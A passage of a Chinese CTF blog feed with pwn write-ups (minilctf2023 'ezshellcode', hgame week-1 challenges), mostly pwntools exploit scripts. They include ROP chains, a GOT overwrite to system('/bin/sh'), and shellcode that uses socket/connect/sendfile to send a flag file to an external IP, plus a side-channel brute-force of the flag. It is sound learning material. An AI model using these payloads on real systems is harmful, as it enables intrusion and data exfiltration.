class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_fake_link_map</span>(<span class="params">elf,fake_linkmap_addr,one_got,offset</span>):</span><br><span class="line">target_addr = fake_linkmap_addr-<span class="number">8</span>       <span class="comment">#the result you write in</span></span><br><span class="line">linkmap = p64(offset &amp; (<span class="number">2</span>**<span class="number">64</span>-<span class="number">1</span>))       <span class="comment">#l_addr</span></span><br><span class="line">linkmap = linkmap.ljust(<span class="number">0x68</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">linkmap += p64(fake_linkmap_addr)       <span class="comment">#l_info[5] dynstr</span></span><br><span class="line">linkmap += p64(fake_linkmap_addr+<span class="number">0x100</span>) <span class="comment">#l_info[6] dynsym</span></span><br><span class="line">linkmap = linkmap.ljust(<span class="number">0xf8</span>,<span class="string">b&#x27;\x00&#x27;</span>) </span><br><span class="line">linkmap += p64(fake_linkmap_addr+<span class="number">0x110</span>) <span class="comment">#l_info[23] jmprel</span></span><br><span class="line">linkmap += p64(<span class="number">0</span>)+p64(one_got-<span class="number">8</span>)        <span class="comment">#dynmic symtab</span></span><br><span class="line">linkmap += p64(<span class="number">0</span>)+p64(fake_linkmap_addr+<span class="number">0x120</span>) <span class="comment">#dynmic jmprel</span></span><br><span class="line">linkmap += p64(target_addr-offset)+p64(<span class="number">7</span>)+p64(<span class="number">0</span>) <span class="comment">#fake_jmprel</span></span><br><span class="line"><span class="keyword">return</span> linkmap</span><br><span class="line"></span><br><span class="line">plt0 = elf.get_section_by_name(<span class="string">&#x27;.plt&#x27;</span>).header.sh_addr</span><br><span class="line">fake_link_map_addr = <span class="number">0x00404000</span> +<span class="number">0x500</span></span><br><span class="line">fake_link_map = build_fake_link_map(elf,fake_link_map_addr,elf.got[<span class="string">&#x27;gets&#x27;</span>],libc.sym[<span class="string">&#x27;system&#x27;</span>]-libc.sym[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">sh_addr = fake_link_map_addr + <span class="built_in">len</span>(fake_link_map)</span><br><span class="line">prdi = <span class="number">0x401283</span></span><br><span class="line">prsi_r15 = <span class="number">0x401281</span></span><br><span class="line">payload = <span class="number">0x18</span>*<span class="string">b&#x27;\x00&#x27;</span>+p64(prdi)+p64(fake_link_map_addr)+p64(elf.plt[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">payload += p64(prdi) + p64(sh_addr) + p64(plt0+<span class="number">6</span>)+p64(fake_link_map_addr)+p64(<span class="number">0</span>)</span><br><span class="line">payload = payload.ljust(<span class="number">0x200</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">payload = fake_link_map+<span class="string">b&#x27;cat flag\x00&#x27;</span></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="ezshellcode"><a href="#ezshellcode" class="headerlink" title="ezshellcode"></a>ezshellcode</h2><p>比赛期间只做出了一半，另一半死活做不出来，感觉bb已经提示到就差把flag直接喂给我了😂，还是我知识面狭窄了，做这题之前连socket都不会用，侧信道爆破也不是很了解（虽然之前见过</p><p>先<code>checksec</code>看到保护全开，<code>seccomp-tools</code>看到接收完输入后就留了三个可用的系统调用</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> <span class="number">0000</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000004</span>  A = arch</span><br><span class="line"> <span class="number">0001</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x08</span> <span class="number">0xc000003e</span>  <span class="keyword">if</span> (A != ARCH_X86_64) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0002</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  A = sys_number</span><br><span class="line"> <span class="number">0003</span>: <span class="number">0x35</span> <span class="number">0x00</span> <span class="number">0x01</span> <span class="number">0x40000000</span>  <span class="keyword">if</span> (A &lt; <span class="number">0x40000000</span>) <span class="keyword">goto</span> <span class="number">0005</span></span><br><span class="line"> <span class="number">0004</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x05</span> <span class="number">0xffffffff</span>  <span class="keyword">if</span> (A != <span class="number">0xffffffff</span>) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0005</span>: <span class="number">0x15</span> <span class="number">0x03</span> <span class="number">0x00</span> <span class="number">0x00000028</span>  <span class="keyword">if</span> (A == sendfile) <span class="keyword">goto</span> <span class="number">0009</span></span><br><span class="line"> <span class="number">0006</span>: <span class="number">0x15</span> <span class="number">0x02</span> <span class="number">0x00</span> <span class="number">0x00000029</span>  <span class="keyword">if</span> (A == socket) <span class="keyword">goto</span> <span class="number">0009</span></span><br><span class="line"> <span class="number">0007</span>: <span class="number">0x15</span> <span class="number">0x01</span> <span class="number">0x00</span> <span class="number">0x0000002a</span>  <span class="keyword">if</span> (A == connect) <span class="keyword">goto</span> <span class="number">0009</span></span><br><span class="line"> <span class="number">0008</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x01</span> <span class="number">0x0000003c</span>  <span class="keyword">if</span> (A != <span class="built_in">exit</span>) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0009</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x7fff0000</span>  <span class="keyword">return</span> ALLOW</span><br><span class="line"> <span class="number">0010</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  <span class="keyword">return</span> KILL</span><br></pre></td></tr></table></figure></div><p>然后开IDA找漏洞点，在<code>o0o0o000o()</code>函数中，我们可以发现出题人故意把两个文件描述符和两个缓冲区写的很像<code>flag1  flagl  buf1  bufl</code>，然后就可以发现程序没有关闭flag2的文件描述符，而且没有清空flag1在栈中的缓存。因此根据剩下的系统调用基本确定flag1要用侧信道爆破（至于怎么爆，这思路确实sao），flag2要直接<code>socket connect sendfile</code>到本机。</p><h3 id="flag2"><a href="#flag2" class="headerlink" title="flag2"></a>flag2</h3><p>知道如何得到flag2了，那剩下的就是函数参数的设置问题了，可以自己先在本机上<code>test</code>一下，test程序</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/sendfile.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;netinet/in.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;errno.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;arpa/inet.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">int</span> soc_fd = socket(<span class="number">2</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">addr</span>;</span></span><br><span class="line">        addr.sin_family = AF_INET;</span><br><span class="line">        addr.sin_port = htons(<span class="number">6789</span>);                            <span class="comment">//确定端口号</span></span><br><span class="line">        addr.sin_addr.s_addr = inet_addr(<span class="string">&quot;127.0.0.1&quot;</span>);      <span class="comment">//确定ip地址</span></span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> fd = connect(soc_fd, (<span class="keyword">struct</span> sockaddr*)&amp;addr, <span class="number">0x10</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">off_t</span> offset = <span class="number">0</span>;</span><br><span class="line">        <span class="type">char</span> buffer[<span class="number">0x50</span>];</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> flag1 = open(<span class="string">&quot;./flag1&quot;</span>, <span class="number">0</span>);</span><br><span class="line">        read(flag1, buffer, <span class="number">0x10</span>);</span><br><span class="line">        <span class="type">int</span> n = sendfile(soc_fd, flag1, &amp;offset, <span class="number">0x50</span>);</span><br><span class="line">        close(flag1);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>然后我们在本机上<code>nc -lp 6789</code>就可以接收到了</p><p>最后可以直接调试这个程序，把打远程要用的参数直接复制过去，要打远程貌似还得有个外网ip，然后把上面程序中的ip和端口改成外网ip就行了，至于shellcode的编写，我是这样写的</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">shellcode = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    /* socket(2, 1, 0) */</span></span><br><span class="line"><span class="string">    mov al, 41</span></span><br><span class="line"><span class="string">    mov edi, 2</span></span><br><span class="line"><span class="string">    inc esi</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    /* connect(soc_fd, &amp;addr, addr_len) */</span></span><br><span class="line"><span class="string">    mov edi, eax</span></span><br><span class="line"><span class="string">    add cl, 0x25</span></span><br><span class="line"><span class="string">    mov rsi, rcx</span></span><br><span class="line"><span class="string">    mov dx, 0x10</span></span><br><span class="line"><span class="string">    mov al, 42</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    /* sendfile(soc_fd, 4, &amp;offset, len) */</span></span><br><span class="line"><span class="string">    mov rsi, 4</span></span><br><span class="line"><span class="string">    lea rdx, [rcx+0x2090]</span></span><br><span class="line"><span class="string">    mov r10, r11</span></span><br><span class="line"><span class="string">    mov al, 40</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">io.send(asm(shellcode).ljust(<span class="number">0x30</span>, <span class="string">b&#x27;\x00&#x27;</span>)+p64(<span class="number">0xaa99ec73ced40002</span>)+p64(<span class="number">0</span>))   <span class="comment">#后面加的是要connect的地址</span></span><br></pre></td></tr></table></figure></div><h3 id="flag1"><a href="#flag1" class="headerlink" title="flag1"></a>flag1</h3><p>虽然我知道这个flag要用侧信道出，但是我前面的思路基本上都是错的。网上很多都是利用<code>recv(timeout)</code>判断的，但是这个题把所有流(stdin, stdout, stderr)都关闭了，因此用一般的方法根本判断不了。还是要用题目中的系统调用来判断，具体判断原理是当程序进入循环的话，程序不会终止，因此与远程的connect也不会断开，而直接退出就会断开。<strong>具体可以用nc连接本机尝试<code>nc -lp 6789</code>监听本机6789端口，然后<code>nc 127.0.0.1 6789</code>连接本机，然后退出一方看另一方的变化</strong>（这个点也是bb提示的，不如说已经不叫提示了，叫明示了，我对nc的使用还停留在<code>nc ip port</code>），退出和进入循环返回的信息是不一样的。（事实上在被提示完之后，我是又写了一个服务端用socket来接收，因为我pwntools不会<code>process([&quot;nc&quot;, &quot;-lp&quot;, &quot;6789&quot;])</code>。🐎的，真shabi啊，我究竟在干神么</p><p>那思路就基本确定了，**编写shellcode连接到本机，然后根据连接的状态来判断程序是进入循环还是退出。**但这里还有一个地方我弄的不对，就是如何回到栈，我使用了<code>_environ</code>变量，因为mmap的位置恰好和ld位置相邻，然后中间就没有ASLR产生的偏移，但是我尝试之后发现不对，应该是因为小版本的偏移也会有一定变化。这里在bb的明示下，知道了还可以用段寄存器来回到栈，之前从来没注意过。最后本地复现基本可以爆出来flag，虽然会有一点误差，但基本准确。总之学到了很多，还是太菜了</p><p>exp</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#侧信道爆破</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>(<span class="params">pos, char</span>):</span><br><span class="line">    <span class="keyword">global</span> p</span><br><span class="line">    <span class="keyword">global</span> q</span><br><span class="line">    <span class="comment">#p = remote(&#x27;pwn.blackbird.wang&#x27;, 9550)</span></span><br><span class="line">    q = process([<span class="string">&quot;nc&quot;</span>, <span class="string">&quot;-lp&quot;</span>, <span class="string">&quot;6789&quot;</span>])</span><br><span class="line">    p = process(<span class="string">&#x27;./main&#x27;</span>)</span><br><span class="line">    <span class="comment">#attach(p)</span></span><br><span class="line">    <span class="comment">#pause()</span></span><br><span class="line">    shellcode = <span class="string">f&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">                mov rsp, fs:[0x300]</span></span><br><span class="line"><span class="string">                </span></span><br><span class="line"><span class="string">                mov al, 0x29</span></span><br><span class="line"><span class="string">                mov dil, 2</span></span><br><span class="line"><span class="string">                mov sil, 1</span></span><br><span class="line"><span class="string">                syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                xchg edi, eax;</span></span><br><span class="line"><span class="string">                mov rbx, 0x100007f851a0002</span></span><br><span class="line"><span class="string">                push rbx</span></span><br><span class="line"><span class="string">                </span></span><br><span class="line"><span class="string">                mov al, 0x2a</span></span><br><span class="line"><span class="string">                mov dl, 0x10;</span></span><br><span class="line"><span class="string">                push rsp;</span></span><br><span class="line"><span class="string">                pop rsi;</span></span><br><span class="line"><span class="string">                syscall</span></span><br><span class="line"><span class="string">                </span></span><br><span class="line"><span class="string">                sub sp, 2136</span></span><br><span class="line"><span class="string">                mov dl,byte ptr [rsp+<span class="subst">&#123;pos&#125;</span>]</span></span><br><span class="line"><span class="string">                mov cl,<span class="subst">&#123;<span class="built_in">ord</span>(char)&#125;</span></span></span><br><span class="line"><span class="string">                cmp dl,cl</span></span><br><span class="line"><span class="string">                jz loop</span></span><br><span class="line"><span class="string">                mov al,0x3c</span></span><br><span class="line"><span class="string">                syscall</span></span><br><span class="line"><span class="string">                loop:</span></span><br><span class="line"><span class="string">                jmp loop</span></span><br><span class="line"><span class="string">                &#x27;&#x27;&#x27;</span></span><br><span class="line">    p.send(asm(shellcode))</span><br><span class="line"></span><br><span class="line">string = <span class="string">&quot;!#$%&amp;-_0123456789?=@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz&#123;&#125;|&quot;</span></span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> pos <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x20</span>):</span><br><span class="line">    <span class="keyword">for</span> char <span class="keyword">in</span> string:</span><br><span class="line">        pwn(pos, char)</span><br><span class="line">        sleep(<span class="number">0.2</span>)</span><br><span class="line">        <span class="keyword">if</span> q.poll() <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            p.close()</span><br><span class="line">            q.close()</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            p.close()</span><br><span class="line">            q.close()</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">    flag+=char</span><br><span class="line">    <span class="built_in">print</span>(flag)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure></div><p>测试的flag是<code>flag1{this_is_flag1}</code>，<code>sleep(0.1)</code>爆出来是<code>flag1{Dhis_is_f3ag1}</code>，<code>sleep(0.2)</code>就完全爆出来了。远程的话sleep时长再改大点应该就没问题了。</p><h2 id="ezbook"><a href="#ezbook" class="headerlink" title="ezbook"></a>ezbook</h2><p>似乎是一道线程竞争的题</p>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/02/03/CTFS-wp/minilctf2023%20wp/</id>
    <link href="https://staticccccccc.github.io/2024/02/03/CTFS-wp/minilctf2023%20wp/"/>
    <published>2024-02-03T12:30:00.000Z</published>
    <summary>我是菜🐕</summary>
    <title>
      <![CDATA[minilctf2023 pwn wp & 复现]]>
    </title>
    <updated>2024-02-03T12:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="CTFS" scheme="https://staticccccccc.github.io/categories/CTFS/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="week1"><a href="#week1" class="headerlink" title="week1"></a>week1</h2><h3 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h3><h4 id="test-nc"><a href="#test-nc" class="headerlink" title="test_nc"></a>test_nc</h4><p>nc即得flag</p><h4 id="easy-overflow"><a href="#easy-overflow" class="headerlink" title="easy_overflow"></a>easy_overflow</h4><p>简单的ret2text，但程序会关闭标准输出，百度搜了下，发现可以重定位stdout到stderr，然后就可以得到flag了</p><div class="code-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-1.hgame.lwsec.cn&#x27;</span>,<span class="number">32147</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x40117e</span>))</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="choose-the-seat"><a href="#choose-the-seat" class="headerlink" title="choose_the_seat"></a>choose_the_seat</h4><p><code>checksec</code>看到只开了NX</p><p>在<code>if</code>判断看到判断条件不严格，没有判断负数的情况，导致可以越界修改got表。</p><p>为了便于进行后续操作，我们先将<code>exit</code>函数的got表项改为<code>vuln</code>函数地址，这样就可以无限执行<code>vuln</code>函数了。</p><p>然后需要泄露<code>libc</code>,由于题目已经给出了libc文件，知道要覆盖项的偏移后，部分覆盖然后就可以打印出<code>libc</code>，计算得到<code>libc</code>基址。最后直接修改<code>puts</code>函数got表为<code>system</code>函数即可，最后写一个<code>/bin/sh\x00</code>即可getshell</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-1.hgame.lwsec.cn&#x27;</span>,<span class="number">32073</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;one.\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;-6&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name\n&#x27;</span>)</span><br><span class="line">io.send(p64(<span class="number">0x4011d6</span>))</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;one.\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;-8&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;\xd0&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Your name is &#x27;</span>)</span><br><span class="line">setbuf = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;setbuf ===&gt; &#x27;</span>+<span class="built_in">hex</span>(setbuf))</span><br><span class="line">libcbase = setbuf - libc.symbols[<span class="string">&#x27;setbuf&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;one.\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;-9&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>+p64(sys))</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">b&#x27;0&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="orw"><a href="#orw" class="headerlink" title="orw"></a>orw</h4><p><code>checksec</code>看到只开了NX，<code>seccomp-tools</code>看到禁用了<code>execve</code>，那就只能orw了。</p><p>发现溢出大小不足，因此泄露libc后在bss段上找一块位置写下payload，然后<code>leave_ret</code>栈迁移到该位置即可得到flag</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-1.hgame.lwsec.cn&#x27;</span>,<span class="number">30241</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">vuln = <span class="number">0x4012c4</span></span><br><span class="line">pop_rdi = <span class="number">0x401393</span></span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">io.recvline()</span><br><span class="line"><span class="comment">#io.recvuntil(b&#x27;task.\n&#x27;)</span></span><br><span class="line">payload1 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)</span><br><span class="line">io.send(payload1)</span><br><span class="line">puts = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libcbase = puts - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">pop_rsi = libcbase + <span class="number">0x2601f</span></span><br><span class="line">pop_rdx = libcbase + <span class="number">0x142c92</span></span><br><span class="line">leave_ret = <span class="number">0x4012be</span></span><br><span class="line">bss = <span class="number">0x404100</span></span><br><span class="line">open_ = libcbase + libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">read_ = libcbase + libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io,&#x27;b vuln&#x27;)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">payload2 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+p64(pop_rsi)+p64(bss)+p64(read_)+p64(vuln)+p64(vuln)</span><br><span 